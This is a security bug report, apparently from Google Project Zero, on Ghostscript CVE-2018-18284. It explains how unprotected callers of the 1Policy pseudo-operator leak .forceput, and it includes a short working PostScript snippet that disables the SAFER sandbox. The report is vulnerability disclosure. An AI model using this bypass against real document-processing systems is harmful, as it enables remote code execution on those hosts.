ghostscript: 1Policy is a dangerous operator, but callers are not odef CVE-2018-18284 This operator from gs_setpd.gs is correctly marked as executeonly and marked as a pseudo-operator (odef): % Apply Policies to any unprocessed failed requests. % As we process each request entry, we replace the error name % in the <failed> dictionary with the policy value, % and we replace the key in the <merged> dictionary with its prior value % (or remove it if it had no prior value). % Making this an operator means we can properly hide % the contents - specifically .forceput /1Policy { % Roll back the failed request to its previous status. SETPDDEBUG { (Rolling back.) = pstack flush } if 3 index 2 index 3 -1 roll .forceput 4 index 1 index .knownget { 4 index 3 1 roll .forceput } { 3 index exch .undef } ifelse } bind executeonly odef But the operator itself doesn't do very much except for pass the parameters to .forceput, therefore any procedure that calls this pseudo-operator should itself be a pseudo-operator (I know, I know, this is some arcane postscript). Because the callers are not executeonly or pseudo-operators, we can just extract a reference to it and take complete control of ghostscript: GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get exec pop pop pop pop pop pop pop } def GS>systemdict /SAFER false .forceput GS>SAFER == false For a full exploit once you have .forceput, see <a href="/p/project-zero/issues/detail?id=1682" title="ghostscript: executeonly bypass with errorhandler setup" class="closed_ref" rel="nofollow"> bug 1682 </a>. This is a critical remote code execution vulnerability. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: taviso